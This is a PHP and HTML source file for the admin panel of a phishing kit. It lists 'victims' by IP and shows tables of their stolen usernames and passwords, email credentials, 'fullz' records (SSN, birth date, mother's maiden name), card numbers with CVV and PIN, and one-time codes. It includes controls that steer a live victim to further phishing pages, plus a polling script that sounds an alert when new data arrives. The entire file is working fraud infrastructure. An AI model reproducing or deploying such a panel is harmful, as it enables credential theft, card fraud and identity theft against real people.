<?php
   if (session_status() == PHP_SESSION_NONE) {
       session_start();
   }
   
   require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');
   require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');
   
   if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
       header('Location: login.php');
       exit();
   }
   
   $ip = isset($_GET['ip']) ? $_GET['ip'] : '';
   $logs_file = __DIR__ . '/files/logs/all_logs.json';
   $victim = null;
   if ($ip && file_exists($logs_file)) {
       $json_data = json_decode(file_get_contents($logs_file), true);
       $logs_data = $json_data['all_logs'] ?? [];
       foreach ($logs_data as $entry) {
           if ($entry['ip'] === $ip) {
               $victim = $entry;
               break;
           }
       }
   }
   ?>
<!doctype html>
<html lang="en">
   <head>
      <!-- Required meta tags -->
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <!--favicon-->
      <link rel="icon" href="assets/images/favicon-32x32.png" type="image/png">
      <!--plugins-->
      <link href="assets/plugins/vectormap/jquery-jvectormap-2.0.2.css" rel="stylesheet">
      <link href="assets/plugins/simplebar/css/simplebar.css" rel="stylesheet">
      <link href="assets/plugins/perfect-scrollbar/css/perfect-scrollbar.css" rel="stylesheet">
      <!-- loader-->
      <link href="assets/css/pace.min.css" rel="stylesheet">
      <script src="assets/js/pace.min.js"></script>
      <!-- Bootstrap CSS -->
      <link href="assets/css/bootstrap.min.css" rel="stylesheet">
      <link href="assets/css/bootstrap-extended.css" rel="stylesheet">
      <link href="../../../css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
      <link href="assets/css/app.css" rel="stylesheet">
      <link href="assets/css/icons.css" rel="stylesheet">
      <!-- Theme Style CSS -->
      <link rel="stylesheet" href="assets/css/dark-theme.css">
      <link rel="stylesheet" href="assets/css/semi-dark.css">
      <link rel="stylesheet" href="assets/css/header-colors.css">
      <title>Admin Panel - <?php echo $victim['ip']; ?></title>
      <script>
         if (localStorage.getItem('darkMode') === null) {
            localStorage.setItem('darkMode', 'true');
         }
         document.documentElement.className = 'dark-theme';
         window.addEventListener('DOMContentLoaded', function() {
            if (localStorage.getItem('darkMode') === 'true') {
           $(".dark-mode-icon i").attr("class", "bx bx-sun");
           $("html").attr("class", "dark-theme");
          } else {
           $(".dark-mode-icon i").attr("class", "bx bx-moon");
           $("html").attr("class", "light-theme");
         }
         });
      </script>
   </head>
   <body>
      <!--wrapper-->
      <div class="wrapper">
         <!--start header wrapper-->	
         <div class="header-wrapper">
            <!--start header -->
            <header>
               <div class="topbar d-flex align-items-center">
                  <nav class="navbar navbar-expand gap-3">
                     <a href="/admin" class="text-decoration-none">
                        <div class="topbar-logo-header d-none d-lg-flex">
                           <div>
                              <h4 class="logo-text">Admin Panel</h4>
                           </div>
                        </div>
                     </a>
                     <div class="mobile-toggle-menu d-block d-lg-none" data-bs-toggle="offcanvas" data-bs-target="#offcanvasNavbar"><i class='bx bx-menu'></i></div>
                     <div class="search-bar flex-grow-1">
                        <div class="position-relative">
                           <input type="text" class="form-control ps-5" id="searchVictims" placeholder="Search victims...">
                           <span class="position-absolute top-50 search-show ms-3 translate-middle-y"><i class='bx bx-search'></i></span>
                        </div>
                     </div>
                     <div class="top-menu ms-auto">
                        <ul class="navbar-nav align-items-center gap-1">
                           <li class="nav-item mobile-search-icon d-flex d-lg-none" data-bs-toggle="modal" data-bs-target="#SearchModal">
                              <a class="nav-link" href="avascript:;"><i class='bx bx-search'></i>
                              </a>
                           </li>
                           <li class="nav-item dark-mode d-none d-sm-flex">
                              <a class="nav-link dark-mode-icon" href="javascript:;"><i class='bx bx-moon'></i>
                              </a>
                           </li>
                        </ul>
                     </div>
                     <div class="user-box dropdown px-3">
                        <a class="d-flex align-items-center nav-link dropdown-toggle gap-3 dropdown-toggle-nocaret" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
                        <img src="assets/images/profile.png" class="user-img" alt="user avatar">
                        </a>
                        <ul class="dropdown-menu dropdown-menu-end">
                           <li><a class="dropdown-item d-flex align-items-center" href="settings.php"><i class="bx bx-cog fs-5"></i><span>Settings</span></a>
                           </li>
                           <li>
                              <div class="dropdown-divider mb-0"></div>
                           </li>
                           <li><a class="dropdown-item d-flex align-items-center" href="logout.php"><i class="bx bx-log-out-circle"></i><span>Logout</span></a>
                           </li>
                        </ul>
                     </div>
                  </nav>
               </div>
            </header>
            <!--end header -->
            <!--navigation-->
            <!--end navigation-->
         </div>
         <!--end header wrapper-->
         <!--start page wrapper -->
         <div class="page-wrapper">
            <div class="page-content">
               <!--breadcrumb-->
               <!--end breadcrumb-->
               <?php if (!$victim): ?>
               <h2>Victim Not Found</h2>
               <p>No data found for the specified IP address.</p>
               <?php else: ?>
               <div class="row">
                  <div class="col-xl-9 mx-auto">
                     <h6 class="mb-0 text-uppercase">Redirect</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <div class="d-flex flex-wrap gap-2">
                              <?php if ($config['PAGE_SETTINGS']['LOGIN_PAGE']): ?>
                              <button onclick="redirectVictim('<?php echo htmlspecialchars($victim['ip']); ?>', 'login')" class="btn btn-primary">
                              <i class="bx bx-user-circle me-1"></i> Login Page
                              </button>
                              <?php endif; ?>
                              <?php if ($config['PAGE_SETTINGS']['EMAIL_PAGE']): ?>
                              <button onclick="redirectVictim('<?php echo htmlspecialchars($victim['ip']); ?>', 'email')" class="btn btn-info">
                              <i class="bx bx-envelope me-1"></i> Email Page
                              </button>
                              <?php endif; ?>
                              <?php if ($config['PAGE_SETTINGS']['FULLZ_PAGE']): ?>
                              <button onclick="redirectVictim('<?php echo htmlspecialchars($victim['ip']); ?>', 'fullz')" class="btn btn-secondary">
                              <i class="bx bx-user-check me-1"></i> Fullz Page
                              </button>
                              <?php endif; ?>
                              <?php if ($config['PAGE_SETTINGS']['CARD_PAGE']): ?>
                              <button onclick="redirectVictim('<?php echo htmlspecialchars($victim['ip']); ?>', 'card')" class="btn btn-warning text-white">
                              <i class="bx bx-credit-card me-1"></i> Card Page
                              </button>
                              <?php endif; ?>
                              <?php if ($config['PAGE_SETTINGS']['CODE_PAGE']): ?>
                              <button onclick="redirectVictim('<?php echo htmlspecialchars($victim['ip']); ?>', 'code')" class="btn btn-dark">
                              <i class="bx bx-key me-1"></i> Code Page
                              </button>
                              <?php endif; ?>
                           </div>
                        </div>
                     </div>
                     <h6 class="mb-0 text-uppercase">Login</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <table class="table mb-0 table-hover" id="loginsTable">
                              <thead>
                                 <tr>
                                    <th scope="col">#</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Username</th>
                                    <th scope="col">Password</th>
                                 </tr>
                              </thead>
                              <tbody>
                                 <?php $i = 1; foreach ($victim['logins'] as $login): ?>
                                 <tr>
                                    <th scope="row"><?php echo $i++; ?></th>
                                    <td><?php echo $login['timestamp']; ?></td>
                                    <td><?php echo $login['username']; ?></td>
                                    <td><?php echo $login['password']; ?></td>
                                 </tr>
                                 <?php endforeach; ?>
                              </tbody>
                           </table>
                        </div>
                     </div>
                     <?php if ($config['PAGE_SETTINGS']['EMAIL_PAGE'] && !empty($victim['emails'])): ?>
                     <h6 class="mb-0 text-uppercase">Emails</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <table class="table mb-0 table-hover" id="emailsTable">
                              <thead>
                                 <tr>
                                    <th scope="col">#</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Email</th>
                                    <th scope="col">Password</th>
                                 </tr>
                              </thead>
                              <tbody>
                                 <?php $i = 1; foreach ($victim['emails'] as $email): ?>
                                 <tr>
                                    <th scope="row"><?php echo $i++; ?></th>
                                    <td><?php echo $email['timestamp']; ?></td>
                                    <td><?php echo $email['email']; ?></td>
                                    <td><?php echo $email['password']; ?></td>
                                 </tr>
                                 <?php endforeach; ?>
                              </tbody>
                           </table>
                        </div>
                     </div>
                     <?php endif; ?>
                     <?php if ($config['PAGE_SETTINGS']['FULLZ_PAGE'] && !empty($victim['fullz'])): ?>
                     <h6 class="mb-0 text-uppercase">Fullz</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <table class="table mb-0 table-hover" id="fullzTable">
                              <thead>
                                 <tr>
                                    <th scope="col">#</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Full Name</th>
                                    <th scope="col">SSN</th>
                                    <th scope="col">DOB</th>
                                    <th scope="col">Address</th>
                                    <th scope="col">Phone</th>
                                    <th scope="col">City</th>
                                    <th scope="col">State</th>
                                    <th scope="col">Zip</th>
                                    <th scope="col">MMN</th>
                                 </tr>
                              </thead>
                              <tbody>
                                 <?php $i = 1; foreach ($victim['fullz'] as $fullz): ?>
                                 <tr>
                                    <th scope="row"><?php echo $i++; ?></th>
                                    <td><?php echo $fullz['timestamp']; ?></td>
                                    <td><?php echo $fullz['first_name']; ?></td>
                                    <td><?php echo $fullz['ssn']; ?></td>
                                    <td><?php echo $fullz['dob']; ?></td>
                                    <td><?php echo $fullz['address']; ?></td>
                                    <td><?php echo $fullz['phone']; ?></td>
                                    <td><?php echo $fullz['city']; ?></td>
                                    <td><?php echo $fullz['state']; ?></td>
                                    <td><?php echo $fullz['zip']; ?></td>
                                    <td><?php echo $fullz['mother_name']; ?></td>
                                 </tr>
                                 <?php endforeach; ?>
                              </tbody>
                           </table>
                        </div>
                     </div>
                     <?php endif; ?>
                     <?php if ($config['PAGE_SETTINGS']['CARD_PAGE'] && !empty($victim['cards'])): ?>
                     <h6 class="mb-0 text-uppercase">Cards</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <table class="table mb-0 table-hover" id="cardsTable">
                              <thead>
                                 <tr>
                                    <th scope="col">#</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Card Holder Name</th>
                                    <th scope="col">Card Number</th>
                                    <th scope="col">Card Expiry</th>
                                    <th scope="col">Card CVV</th>
                                    <th scope="col">Card Pin</th>
                                 </tr>
                              </thead>
                              <tbody>
                                 <?php $i = 1; foreach ($victim['cards'] as $card): ?>
                                 <tr>
                                    <th scope="row"><?php echo $i++; ?></th>
                                    <td><?php echo $card['timestamp']; ?></td>
                                    <td><?php echo $card['card_holder_name']; ?></td>
                                    <td><?php echo $card['card_number']; ?></td>
                                    <td><?php echo $card['exp_date']; ?></td>
                                    <td><?php echo $card['cvv']; ?></td>
                                    <td><?php echo $card['card_pin']; ?></td>
                                 </tr>
                                 <?php endforeach; ?>
                              </tbody>
                           </table>
                        </div>
                     </div>
                     <?php endif; ?>
                     <?php if ($config['PAGE_SETTINGS']['CODE_PAGE'] && !empty($victim['codes'])): ?>
                     <h6 class="mb-0 text-uppercase">Codes</h6>
                     <hr>
                     <div class="card">
                        <div class="card-body">
                           <table class="table mb-0 table-hover" id="codesTable">
                              <thead>
                                 <tr>
                                    <th scope="col">#</th>
                                    <th scope="col">Date</th>
                                    <th scope="col">Code</th>
                                 </tr>
                              </thead>
                              <tbody>
                                 <?php $i = 1; foreach ($victim['codes'] as $code): ?>
                                 <tr>
                                    <th scope="row"><?php echo $i++; ?></th>
                                    <td><?php echo $code['timestamp']; ?></td>
                                    <td><?php echo $code['code']; ?></td>
                                 </tr>
                                 <?php endforeach; ?>
                              </tbody>
                           </table>
                        </div>
                     </div>
                     <?php endif; ?>
                     <?php endif; ?>
                  </div>
               </div>
               <!--end row-->
            </div>
         </div>
         <!--end page wrapper -->
         <!-- search modal -->
         <div class="modal" id="SearchModal" tabindex="-1">
            <div class="modal-dialog modal-dialog-centered modal-dialog-scrollable modal-fullscreen-md-down">
               <div class="modal-content">
                  <div class="modal-header gap-2">
                     <div class="position-relative popup-search w-100">
                        <input class="form-control form-control-lg ps-5 border border-3 border-primary" type="search" placeholder="Search">
                        <span class="position-absolute top-50 search-show ms-3 translate-middle-y start-0 top-50 fs-4"><i class='bx bx-search'></i></span>
                     </div>
                     <button type="button" class="btn-close d-md-none" data-bs-dismiss="modal" aria-label="Close"></button>
                  </div>
                  <div class="modal-body">
                     <div class="search-list">
                        <p class="mb-1">Html Templates</p>
                        <div class="list-group">
                           <a href="javascript:;" class="list-group-item list-group-item-action active align-items-center d-flex gap-2 py-1"><i class='bx bxl-angular fs-4'></i>Best Html Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-vuejs fs-4'></i>Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-magento fs-4'></i>Responsive Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-shopify fs-4'></i>eCommerce Html Templates</a>
                        </div>
                        <p class="mb-1 mt-3">Web Designe Company</p>
                        <div class="list-group">
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-windows fs-4'></i>Best Html Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-dropbox fs-4'></i>Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-opera fs-4'></i>Responsive Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-wordpress fs-4'></i>eCommerce Html Templates</a>
                        </div>
                        <p class="mb-1 mt-3">Software Development</p>
                        <div class="list-group">
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-mailchimp fs-4'></i>Best Html Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-zoom fs-4'></i>Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-sass fs-4'></i>Responsive Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-vk fs-4'></i>eCommerce Html Templates</a>
                        </div>
                        <p class="mb-1 mt-3">Online Shoping Portals</p>
                        <div class="list-group">
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-slack fs-4'></i>Best Html Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-skype fs-4'></i>Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-twitter fs-4'></i>Responsive Html5 Templates</a>
                           <a href="javascript:;" class="list-group-item list-group-item-action align-items-center d-flex gap-2 py-1"><i class='bx bxl-vimeo fs-4'></i>eCommerce Html Templates</a>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
         <!-- end search modal -->
         <!--start overlay-->
         <div class="overlay toggle-icon"></div>
         <!--end overlay-->
         <!--Start Back To Top Button--> <a href="javaScript:;" class="back-to-top"><i class='bx bxs-up-arrow-alt'></i></a>
         <!--End Back To Top Button-->
         <footer class="page-footer">
            <p class="mb-0">Copyright © 2025. All right reserved - Coded by <a href="https://discord.gg/vEEPUKZt9E" target="_blank">Unicode</a></p>
         </footer>
      </div>
      <!--end wrapper-->
      <!--start switcher-->
      <!--end switcher-->
      <!-- Bootstrap JS -->
      <script src="assets/js/bootstrap.bundle.min.js"></script>
      <!--plugins-->
      <script src="assets/js/jquery.min.js"></script>
      <script src="assets/plugins/simplebar/js/simplebar.min.js"></script>
      <script src="assets/plugins/metismenu/js/metisMenu.min.js"></script>
      <script src="assets/plugins/perfect-scrollbar/js/perfect-scrollbar.js"></script>
      <!--app JS-->
      <script src="assets/js/app.js"></script>
      <audio id="notificationSound" src="assets/sounds/<?php echo $config['NOTIFICATION_SETTINGS']['sound']; ?>" preload="auto" loop></audio>
      <script>
         function redirectVictim(ip, page) {
            $.ajax({
               url: 'action.php',
               method: 'POST',
               data: { 
                  action: 'redirect',
                  ip: ip,
                  page: page
               },
               success: function(response) {
                  location.reload();
               },
               error: function() {
                  alert('Failed to redirect victim.');
               }
            });
         }
      </script>
      <script>
         let notificationsEnabled = localStorage.getItem('notificationsEnabled') === 'true';
         let soundPlaying = false;
         
         // Initialize lastUpdate with current data
         let lastUpdate = {
            logins: <?php echo json_encode($victim['logins'] ?? []); ?>,
            emails: <?php echo json_encode($victim['emails'] ?? []); ?>,
            fullz: <?php echo json_encode($victim['fullz'] ?? []); ?>,
            cards: <?php echo json_encode($victim['cards'] ?? []); ?>,
            codes: <?php echo json_encode($victim['codes'] ?? []); ?>
         };
         
         // Add notification toggle button to header
         document.addEventListener('DOMContentLoaded', function() {
            const topMenu = document.querySelector('.top-menu .navbar-nav');
            const notificationToggle = document.createElement('li');
            notificationToggle.className = 'nav-item d-none d-sm-flex';
            notificationToggle.innerHTML = `
               <a class="nav-link notification-toggle" href="javascript:;" onclick="toggleNotifications()">
                  <i class='bx bx-${notificationsEnabled ? 'volume-full' : 'volume-mute'}'></i>
               </a>
            `;
            topMenu.insertBefore(notificationToggle, topMenu.firstChild);
         });
         
         function toggleNotifications() {
            notificationsEnabled = !notificationsEnabled;
            localStorage.setItem('notificationsEnabled', notificationsEnabled);
            const icon = document.querySelector('.notification-toggle i');
            icon.className = `bx bx-${notificationsEnabled ? 'volume-full' : 'volume-mute'}`;
            
            const audio = document.getElementById('notificationSound');
            if (!notificationsEnabled && soundPlaying) {
               audio.pause();
               audio.currentTime = 0;
               soundPlaying = false;
            }
         }
         
         function hasDataChanged(oldData, newData) {
            // Create copies of the data without the fields we want to ignore
            function cleanData(data) {
                if (!data) return data;
                if (Array.isArray(data)) {
                    return data.map(item => cleanData(item));
                }
                if (typeof data === 'object') {
                    const cleaned = {...data};
                    delete cleaned.last_seen;
                    delete cleaned.redirect;
                    delete cleaned.Status;
                    return cleaned;
                }
                return data;
            }
            
            return JSON.stringify(cleanData(oldData)) !== JSON.stringify(cleanData(newData));
         }
         
         function updateTable(tableId, data) {
            const tbody = document.querySelector(`#${tableId} tbody`);
            if (!tbody || !data || !Array.isArray(data)) return;
         
            let html = '';
            data.forEach((item, index) => {
               switch(tableId) {
                  case 'loginsTable':
                     html += `
                        <tr>
                           <th scope="row">${index + 1}</th>
                           <td>${item.timestamp}</td>
                           <td>${item.username}</td>
                           <td>${item.password}</td>
                        </tr>
                     `;
                     break;
                  case 'emailsTable':
                     html += `
                        <tr>
                           <th scope="row">${index + 1}</th>
                           <td>${item.timestamp}</td>
                           <td>${item.email}</td>
                        </tr>
                     `;
                     break;
                  case 'fullzTable':
                     html += `
                        <tr>
                           <th scope="row">${index + 1}</th>
                           <td>${item.timestamp}</td>
                           <td>${item.full_name}</td>
                           <td>${item.ssn}</td>
                           <td>${item.dob}</td>
                           <td>${item.address}</td>
                           <td>${item.phone}</td>
                        </tr>
                     `;
                     break;
                  case 'cardsTable':
                     html += `
                        <tr>
                           <th scope="row">${index + 1}</th>
                           <td>${item.timestamp}</td>
                           <td>${item.card_holder_name}</td>
                           <td>${item.card_number}</td>
                           <td>${item.exp_date}</td>
                           <td>${item.cvv}</td>
                           <td>${item.card_pin}</td>
                        </tr>
                     `;
                     break;
                  case 'codesTable':
                     html += `
                        <tr>
                           <th scope="row">${index + 1}</th>
                           <td>${item.timestamp}</td>
                           <td>${item.code}</td>
                        </tr>
                     `;
                     break;
               }
            });
            tbody.innerHTML = html;
         }
         
         setInterval(function() {
            $.ajax({
               url: 'check_updates.php',
               method: 'GET',
               data: { 
                  ip: '<?php echo htmlspecialchars($victim['ip']); ?>'
               },
               success: function(response) {
                  const data = JSON.parse(response);
                  let hasUpdates = false;
         
                  // Check each category for any changes in content
                  if (hasDataChanged(lastUpdate.logins, data.logins)) {
                     updateTable('loginsTable', data.logins);
                     hasUpdates = true;
                  }
                  if (hasDataChanged(lastUpdate.emails, data.emails)) {
                     updateTable('emailsTable', data.emails);
                     hasUpdates = true;
                  }
                  if (hasDataChanged(lastUpdate.fullz, data.fullz)) {
                     updateTable('fullzTable', data.fullz);
                     hasUpdates = true;
                  }
                  if (hasDataChanged(lastUpdate.cards, data.cards)) {
                     updateTable('cardsTable', data.cards);
                     hasUpdates = true;
                  }
                  if (hasDataChanged(lastUpdate.codes, data.codes)) {
                     updateTable('codesTable', data.codes);
                     hasUpdates = true;
                  }
         
                  // If any updates, play sound if enabled
                  if (hasUpdates && notificationsEnabled && !soundPlaying) {
                     const audio = document.getElementById('notificationSound');
                     const playPromise = audio.play();
                     
                     if (playPromise !== undefined) {
                        playPromise.then(() => {
                           soundPlaying = true;
                        }).catch(error => {
                           if (error.name === 'NotAllowedError') {
                              console.log('Audio autoplay prevented');
                           }
                        });
                     }
                  }
         
                  // Update stored data
                  lastUpdate = {
                     logins: data.logins || [],
                     emails: data.emails || [],
                     fullz: data.fullz || [],
                     cards: data.cards || [],
                     codes: data.codes || []
                  };
               }
            });
         }, 1000);
      </script>
   </body>
</html>